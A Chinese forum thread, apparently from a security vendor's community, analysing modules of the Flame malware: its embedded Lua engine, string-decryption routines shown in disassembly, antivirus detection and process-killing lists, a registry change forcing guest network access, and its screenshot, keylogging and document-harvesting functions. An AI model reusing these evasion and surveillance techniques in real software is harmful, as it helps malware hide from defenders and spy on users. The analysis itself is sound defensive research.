   auxopen(L,   "pairs", luaB_pairs, luaB_next);
/* `newproxy'   needs  a  weaktable  as  upvalue */
   lua_createtable(L, 0,  1);/* new table `w' */
   lua_pushvalue(L,   -1);/*  `w' will be its own metatable */
   lua_setmetatable(L,   -2);
   lua_pushliteral(L,    "kv");
   lua_setfield(L,-2,    "__mode");     /* metatable(w).__mode = "kv" */
   lua_pushcclosure(L,    luaB_newproxy,    1);
   lua_setglobal(L,   "newproxy");    /*  set global `newproxy' */
}

图3-8Lua代码

Flame中包含的结构与lua5.1一致。

10.jpg


图3-9Flame中的LUA结构


static    const luaL_Reg   base_funcs[]  ={

{"assert",       luaB_assert},

{"collectgarbage",            luaB_collectgarbage},

{"dofile",        luaB_dofile},

{"error",         luaB_error},

{"gcinfo",       luaB_gcinfo},

{"getfenv",      luaB_getfenv},

{"getmetatable",           luaB_getmetatable},

{"loadfile",      luaB_loadfile},

{"load",          luaB_load},

{"loadstring",  luaB_loadstring},

{"next",          luaB_next},

{"pcall",         luaB_pcall},

{"print",         luaB_print},

{"rawequal",    luaB_rawequal},

{"rawget",      luaB_rawget},

{"rawset",      luaB_rawset},

{"select",       luaB_select},

{"setfenv",     luaB_setfenv},

{"setmetatable",        luaB_setmetatable},

{"tonumber",   luaB_tonumber},

{"tostring",     luaB_tostring},

{"type",          luaB_type},

{"unpack",       luaB_unpack},

{"xpcall",          luaB_xpcall},

{NULL,NULL}

};

图3-10 Lua 5.1 中的结构


 楼主| 发表于 2012-8-1 16:08:46 | 显示全部楼层
本帖最后由 wobaxindiule 于 2012-8-2 14:08 编辑

lua 5.1版本发布的时间为:2006221日,lua 5.2版本发布日期为20111216日。这也简介证明了flame的开发时间应为2006221日至20111216日之间。

同时在分析过程中发现了大量的LUA脚本函数名见附录七(详见附录七为Mssecmgr.ocx文件中使用LUA脚本函数列表内容)可以通过这些函数名来辅助判断LUA脚本功能。

在主程序地址:10266CE处发现可以被RawDES 算法使用的数组RawDES_Spbox

通过对调用该地址的函数进行分析,确认该程序确实使用了des加密算法。

说明如下:

通过对调用该地址的函数进行分析。发现调用函数中有16处循环计算表达式。是des加密算法的明显特征。计算出每个数值后,后面的异或操作也和des算法的计算方式匹配。

对函数的调用,其参数的第三个为加密的密钥。

int 0x10084393(int a1, unsigned int a2, int a3, int a4)
     主模块加载资源到内存,进行简单异或解密:首先传入DB DF AC A2 作为文件头,然后对资源逐字节解密。算法代码如下:首先判断当前字节是否是0XA9:如果是,则直接与前一解密后的数据异或,结果为解密后的数据。如果不是,则将EDX赋值为0XA9后,并与EDX异或,得出结果在与前一解密后的数据异或。最后得出的结果为解密后的数据。
10050898   mov   al,byte   ptr   ds:[esi]
1005089A   test    al,  al
1005089C   je   short    0x100508A9
1005089E   cmp   al,0xA9
100508A0   je short   0x100508A9
100508A2   mov   edx,  0xA9
100508A7   jmp   short   0x100508AB
100508A9   xor    edx,  edx
100508AB   xor    al,  dl
100508AD   xor    cl,   al
100508AF   mov byte  ptr    ds:[edi+esi],cl
100508B2   inc    esi
100508B3   dec   dword  ptr  ss:[esp+0xC]
100508B7   jnz    short   0x10050898

经过对flame调用lua函数的分析总结发现flame调用lua脚本的方式。首先程序在初始化过程中在lua环境内创建一些表,然后再这些表中保存key,value形式的键值对,后续通过获取指定的表,然后将表中指定的key的值取出来,作为lua代码执行。如以下代码所示,flame的表名,及key的名字时全部都是加密存储,使用时再将其解密。
mov     eax,esi
call      mssecmgr.100B932F                   ;  lua_createtable
mov     esi,dwordptrds:[edi+0xD4]
push   mssecmgr.10304B78
call     mssecmgr.1000E431                   ; decode string "script"
add     esp,0xC
push   eax
call    mssecmgr.100B917A                   ; lua_pushstring
mov   eax,dwordptrds: [edi+0xBC]
mov   edx,dwordptrds: [edi+0xD4]
pop    ecx
push  eax
lea     ecx,dwordptrds: [edi+0xB0]
call    mssecmgr.1000757C
push  eax
mov   eax,  edx
call    mssecmgr.100B9142                   ; lua_pushlstring
mov   esi,dwordptrds:[edi+0xD4]
pop    ecx
pop    ecx
push  -0x3
pop     eax
call    mssecmgr.100B93F4                   ; lua_settable : set value
lea     ecx,dwordptrds:[edi+0x8C]
mov   
eax,dwordptrds:[ecx]

图3-11设置script的值

mov     esi, dword  ptr  ds:[ebx+0xD4]
push    mssecmgr.10304BB0
call       mssecmgr.1000E431                   ; decode string "_params"
pop      ecx
push    eax
mov     eax,-0x2712
call      mssecmgr.100B9285                   ; table name is "_params"
mov    esi,dwordptrds:[ebx+0xD4]
mov    dword   ptr    ss:[esp],  mssecmgr.10304BCC
call     mssecmgr.1000E431                   ; decode string "script"
pop      ecx
push    eax
call     mssecmgr.100B917A                   ; lua_pushstring
mov     esi,dwordptrds:[ebx+0xD4]
pop      ecx
push    -0x2
pop      eax
call     mssecmgr.100B9269                   ; lua_gettable get lua script
mov    esi,dword  ptr  ds:[ebx+0xD4]
push    -0x2
pop      eax
call    mssecmgr.100B8DFE                   ; lua_remove
mov   eax,dword    ptr   ds:[ebx+0xD4]
andd  word  ptr   ss:[esp+0x10],0x0
lea     ecx,   dword   ptr   ss:[esp+0x10]
push  ecx
push  -0x1
push  eax
call    mssecmgr.100B9C8B                   ; luaL_checklstring
mov   esi, dword   ptr   ds:[ebx+0xD4]
add    esp,0xC
push   mssecmgr.10304BE8
mov   edi,eax
call    mssecmgr.1000E431                   ; decode string "script"
pop    ecx
push  eax
push  dword  ptr  ss:[esp+0x14]
mov   eax,edi
call    mssecmgr.100BA0B2                   ; luaL_loadbuffer load lua script
test    eax,eax
pop    ecx
pop    ecx
jnz      mssecmgr.100B8381
mov    ecx,dwordptrds:[ebx+0xD4]
xor     edi,edi
push  eax
inc      edi
call     mssecmgr.100B966F                   ; lua_pcall call lua script
mo     vesi,eax

图3-12读取并执行script的值

 楼主| 发表于 2012-8-1 16:18:47 | 显示全部楼层
本帖最后由 wobaxindiule 于 2012-8-2 16:24 编辑

3.2 Soapr32.ocx模块分析

Soapr32.ocx是“火焰”病毒运行后释放的病毒文件之一,我们通过对此模块的分析了解到此模块是用来收集信息的功能模块。soapr32.ocx模块中的很多功能都是获取系统中的一些信息的,例如:安装的软件信息、网络信息、无线网络信息、USB信息、时间以及时区信息等。
1.模块分析
通过对Soapr32.ocx模块的分析,我们总结出了该模块的以下功能信息:

  • 获取系统中安装的网络适配器的特征:IP地址、子网掩码、网关、DHCP设置等信息。
  • 获取本地计算机与远程资源服务器的当前连接,它查询的信息主要是关于本地计算机与共享资源的连接:连接状态、连接类型、用户名以及域名。
  • 读取HOSTS文件的内容,查看是否存在重定向。
  • 列举用户账户和用户组,获得属于'Administrators' 组的用户。
  • 收集共享资源信息,包括资源名称、类型和权限、连接数以及其它相关信息。
  • 检查安装的Outlook、 Microsoft Word、Internet Explorer等版本
  • 收集当前时间以及时区信息
  • 检查当前管道'\pipe\srvsvc'
  • 检查系统中可用的USB存储设备
  • 获取所有驱动器并收集信息,例如驱动器类型、已使用空间等。
  • 收集无线网络信息,例如WIFI网络名称、使用的加密类型、验证方法/协议。
  • 收集共享资源信息,包括资源名称、类型和权限、连接数以及其它相关信息。
  • 检测是否启用远程桌面连接,接着查询远程桌面信息,例如端口号、防火墙状态、开放的端口列表。

具体内容如下:

  • SOFTWARE\KasperskyLab\avp6\settings
  • SOFTWARE\Kerio
  • SOFTWARE\FarStone\FireWall
  • SOFTWARE\Symantec\InstalledApps
  • SOFTWARE\Symantec\SymSetup\Internet security
  • SOFTWARE\Tiny Software\Tiny Firewall
  • SOFTWARE\KasperskyLab\avp6\settings
Soapr32.ocx模块尝试遍历进程查看系统运行的进程中是否有以下进程存在:
  • avp.exe
  • ccevtmgr.exe
  • ccsetmgr.exe
  • vsmon.exe
  • zlclient.exe
  • Outpost.exe
  • mcshield.exe
  • MpfService.exe
    soapr32.ocx模块在temp目录下释放临时文件,TMP文件中的内容为加密内容:
  • C:\WINDOWS\Temp\~mso2a0.tmp
  • C:\WINDOWS\Temp\~mso2a2.tmp

Soapr32.ocx模块遍历Program Files下所有目录:
  • 检查注册表时区信息
    0006FE0880000002|hKey =HKEY_LOCAL_MACHINE
    0006FE0C1001B57B|Subkey ="SYSTEM\CurrentControlSet\Control\TimeZoneInformation"
    0006FE1000000000|Reserved =0
    0006FE1400020019|Access = KEY_READ
    0006FE180006FE24 \pHandle=0006FE24
    [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]
    "forceguest"=dword:00000001
  • 网络访问:本地帐户的共享和安全模式:仅来宾-本地用户以来宾身份验证。这时,当局域网其他机器访问本机时,不会弹出对话框,就可以直接进入。
  • 收集无线网络信息,例如WIFI网络名称、使用的加密类型、验证方法/协议。

    00D43940                            xiaomo................TP-LINK_6C90DE.

    00D43980 ......admin.................luck.................simao...........

    00D439C0 .....ChinaUnicom..........CMCC.................TP-LINK_CN.......

    00D43A00 ....user.................EWA@ECN................................


2.字符串算法分析

参数的结构如下:

  [byte]
  Sign  
  [word]
Length  
  [dword]
Address  

判断解密标志,压入解密长度和解密地址。
0x1000C0E0    proc   near
                         push        esi
                         mov         esi,[esp+8]
                         cmp          byteptr[esi+8],0
                         jnz            short   0x1000C0F0
                         lea             eax,[esi+0Bh]
                         pop           esi
                         retn
0x1000C0F0:
                         movzx         eax,   word     ptr   [esi+9]
                         push            edi
                         push            eax
                         lea               edi,    [esi+0Bh]
                         push            edi
                         call              0x1000C0BC
                         pop             ecx
                         pop             ecx
                         mov            eax,   edi
                         pop             edi
                         mov            byte  ptr   [esi+8],0
                         pop             esi
                         retn
0x1000C0E0   endp
decrypt   the  data:
0x1000C0BC  proc    near
                         push         edi
                         xor            edi,    edi
                         cmp           [esp+0Ch],   edi
                         jbe            short     0x1000C0DE
                         push          esi        
0x1000C0C6:
                         mov          eax,   [esp+8+8]
                         lea             esi,    [edi+eax]
                         mov          eax,   edi
                         call            0x1000C0A2
                         sub           [esi],   al
                         inc             edi
                         cmp           edi,    [esp+8+C]
                         jb               short   0x1000C0C6
                         pop           esi
0x1000C0DE:
                         pop           edi
                         retn
0x1000C0BC    endp

3.解密密钥部分

计算方法:

EAX=(0x11h+n)*(0xbh+n)

note:nis the offset of the decrypted byte.

AL=(M1)xor(M2)xor(M3)xor(M4)

Decrypteddata = Encrypted data – AL

11.jpg


图3-13AL=(M1)xor(M2)xor(M3)xor(M4)


 楼主| 发表于 2012-8-1 17:03:24 | 显示全部楼层
本帖最后由 wobaxindiule 于 2012-8-2 16:27 编辑

3.3  Advnetcfg.ocx模块分析

Advnetcfg.ocx是“火焰”病毒运行后释放的病毒文件之一,我们通过对此模块的分析,了解到此模块的作用为截取屏幕信息。Advnetcfg.ocx运行后会把自身和%windir%\system32\ccalc32.sys文件的创建时间、修改时间和访问时间修改和系统中的kernel32.dll一样。

Advnetcfg.ocx使用了字符串混淆技术,这和nteps32.ocx的算法是一样的。

Advnetcfg.ocx文件中,解密函数被调用179次,解密函数的起始地址为:1000BE16。算法解密流程图如下:

12.jpg


图3-14解密流程图


函数0x1000BE16有一个参数,该参数为一个结构体,结构如下:

  [byte]
Sign  
  [word]
  Length  
  [dword]
Address  

该函数的返回值为,输入参数结构体中的解密数据的起始地址。在函数解密成功后还将会修改解密标志。
具体代码见下图:

13.jpg


图3-15解密函数1000BE16


循环解密字符串函数:
该函数有2个参数,第一个是解密字符串的起始地址,第二个是字符串长度,函数没有返回值。

14.jpg


图3-16解密函数1000BDA7


解密密钥部分:
计算方法:
EAX=(0xAh+n)*(0x5h+n)
note:nis the offset of the decrypted byte.
AL=(M1)xor(M2)xor(M3)xor(M4)
Decrypteddata = Encrypted data – AL

15.jpg


图3-17AL=(M1)xor(M2)xor(M3)xor(M4)


16.jpg


图3-18解密函数1000BD68

     检测大多数(超过90多个进程)的反病毒、防火墙以及其他泛安全产品的进程。附录三列举一大部分国外流行的反病毒和安全软件进程列表(详见附录三:advnetcfg.ocx模块检测国外主要反病毒软件进程列表)。
     截取屏幕所使用的主要函数如下:

  • GetDIBist
  • SelectObject
  • BitBlt
  • CreateCompatibleBitmap
  • CreateCompatibleDC

   查看系统注册表中是否有KasperskyLab项判断多个版本
  • "HKLM\SOFTWARE\KasperskyLab\AVP6"
  • "HKLM\SOFTWARE\KasperskyLab\protected\AVP7"
 楼主| 发表于 2012-8-1 17:10:38 | 显示全部楼层
本帖最后由 wobaxindiule 于 2012-8-2 14:48 编辑

3.4  Nteps32.ocx模块分析

Nteps32.ocx是“火焰”病毒运行后释放的病毒文件之一,我们通过对此模块的分析了解到此模块的作用为键盘记录和截取屏幕信息。Nteps32.ocx运行后会把自身和boot32drv.sys文件的创建时间、修改时间和访问时间修改,就和系统中的kernel32.dll一样。

1.释放如下临时文件

  • "%windir%temp\~HLV927.tmp"
  • "%windir%temp\~HLV751.tmp"
  • "%windir%temp\~HLV084.tmp"
  • "%windir%temp\~HLV473.tmp"
  • "%windir%temp\~HLV294.tmp"
以上临时文件对应着其不同的功能记录文件并做加密处理。例如:键盘记录、截屏信息等。

2.查看注册表中是否有卡巴斯基的注册表项
  • HKLM\SOFTWARE\KasperskyLab
  • HKLM\SOFTWARE\KasperskyLab\AVP6
  • HKLM\SOFTWARE\KasperskyLab\protected\AVP7

3.该模块包含域名字符串列表信息,主要用来监视等操作。
  • live.com
  • .hotmail.
  • gawab.com
  • gmail.com
  • mail.
  • maktoob.com
  • rocketmail.com
  • yahoo.co
  • ymail.com
    Nteps32.ocx模块还包含一个用于监测网络安全进程的列表,此列表数量在130左右个进程,都是国外一些防火墙产品、反病毒产品和一些安全产品等。列表详见附录四(附录四:Nteps32.ocx模块检测反病毒软件进程列表,其中有些进程也在别的模块中出现过。)该模块有键盘记录功能和截取屏幕功能主要使用的函数如下:
  • GetDIBist
  • SelectObject
  • BitBlt
  • CreateCompatibleBitmap
  • CreateCompatibleDC
  • MsgWaitForMultipleObjects
  • MapVirtualKeyExA
  • MapVirtualKeyA
  • ToUnicodeEx
 楼主| 发表于 2012-8-1 17:20:40 | 显示全部楼层
本帖最后由 wobaxindiule 于 2012-8-2 14:54 编辑

3.5 Msglu32.ocx模块分析

Msglu32.ocx是“火焰”病毒运行后释放的病毒文件之一,我们通过对此模块的分析了解到此模块是遍历系统中的各种类型的文件,读取特定文件类型文件的信息,将其写入到sql数据库中,同时也可以收集文件中与地域性相关的一些信息。

1.查看注册表中是否有卡巴斯基的注册表项
·HKLM\SOFTWARE\KasperskyLab\AVP6
      ·HKLM\SOFTWARE\KasperskyLab\protected\AVP7


2.检测进程中的如下进程列表,并将之结束。
AntiHook.exe、EngineServer.exe、FAMEH32.exe、FCH32.exe、Filemon.exe、FPAVServer.exe、FProtTray.exe、FrameworkService.exe、fsav32.exe、fsdfwd.exe、fsgk32.exe、fsgk32st.exe、fsguidll.exe、FSM32.exe、FSMA32.exe、FSMB32、fspc.exe、fsqh.exe、fssm32.exe、jpf.exe、jpfsrv.exe、mcagent.exe、mcmscsvc.exe、McNASvc.exe、McProxy.exe、McSACore.exe、Mcshield.exe、mcsysmon.exe、McTray.exe、mcupdmgr.exe、mfeann.exe、mfevtps.exe、MpfSrv.exe、naPrdMgr.exe、procexp.exe、PXAgent.exe、PXConsole.exe、shstat.exe、sp_rsser.exe、SpywareTerminator.exe、SpywareTerminatorShield.exe、UdaterUI.exe、VsTskMgr.exe
      
3.病毒在遍历系统中的文件时,其关注的文件类型列表如下:

  • office各种格式文档(包括docx、xlsx、pptx等)
  • Autocad文件
  • Visio文件
  • Pdf文件
  • 图片文件

    病毒在对上述的各个类型的文件进行遍历时,将会记录文件的下列信息创建时间、修改时间、作者、创建者、注释、公司、版权、标题、信息、版本编号、关键字数量等。上面的这些信息将会存储到数据库中,存入数据库主要是通过如下一些命令来完成:

update"%w".sqlite_sequence set name = %q where name = %q

updatesqlite_temp_master set sql = sqlite_rename_trigger(sql, %q), tbl_name = %qwhere %s;

update"%w".%s set sql = substr(sql,1,%d) || ', ' || %q || substr(sql,%d)where type = 'table' and name = %q

update%q.%s set type='%s', name=%q, tbl_name=%q, rootpage=#%d, sql=%q where rowid=#%d

select'create table vacuum_db.' || substr(sql,14)  from sqlite_master where type='table' and name!

select'create unique index vacuum_db.' || substr(sql,21)   from sqlite_master where sql like 'createunique index %'

insertinto vacuum_db.sqlite_master   selecttype, name, tbl_name, rootpage, sql   from main.sqlite_master   wheretype='view' or type='trigger'      or(type='table' and rootpage=0)

17.jpg

图3-19在内存中发现的一些SQL语句


该模块通过使用postscript的图像函数,可以解析pdf文件中的阿拉伯文字和希伯来文字。

18.jpg

图3-20使用postscript图像函数解析pdf文件


检测到指定格式的文件中(比如图片文件)如果含有geotagging信息(经度、维度、海拔等)后,将会提取出这些信息,这些信息包括经度、维度和海拔等

19.jpg

图3-21检测含有geotagging信息的指定格式的文件


程序中大量数据被加密。加密算法代码位置如下:

20.jpg

图3-22加密函数1000CBBE


对该函数的调用有2个函数。分别位置如下:
第一个调用:

21.jpg

图3-23第一处调用解密函数


第二个调用:

22.jpg

图3-24第二处调用解密函数


解密算法说明:
函数有2个参数:edx[解密串的长度]eax[解密串的起始地址]
函数有一个返回值:eax[解密后字串的起始地址]
解密算法:
ECX=(0xBh+n)*(0xBh+0xCh+n)+[0x101863EC]
note:nis the offset of the decrypted byte.
CL=(M1)xor(M2)xor(M3)xor(M4)
Decrypteddata = Encrypted data – CL

23.jpg

图3-25CL=(M1)xor(M2)xor(M3)xor(M4)]


调用1功能说明:

函数有一个参数:arg.1[调用时压入堆栈的一个地址]

解密字符串长度:[word]arg.1+0x9h

解密字符串起始地址:[dword]arg.1+0xBh

返回值:解密后字符串的起始地址

调用2功能说明:

函数有一个参数:arg.1[调用时压入堆栈的一个地址]

解密字符串长度:[word]arg.1+0x12h

解密字符串起始地址:[dword]arg.1+0x14h

返回值:arg.1[调用时压入堆栈的一个地址]

返回值:解密后字符串的起始地址

您需要登录后才可以回帖 登录 | 注册创意安天

本版积分规则

小黑屋|手机版|创意安天 ( 京ICP备09068574,ICP证100468号。 )

GMT+8, 2019-1-24 13:06

Powered by Discuz! X3.4

© 2001-2017 Comsenz Inc.

快速回复 返回顶部 返回列表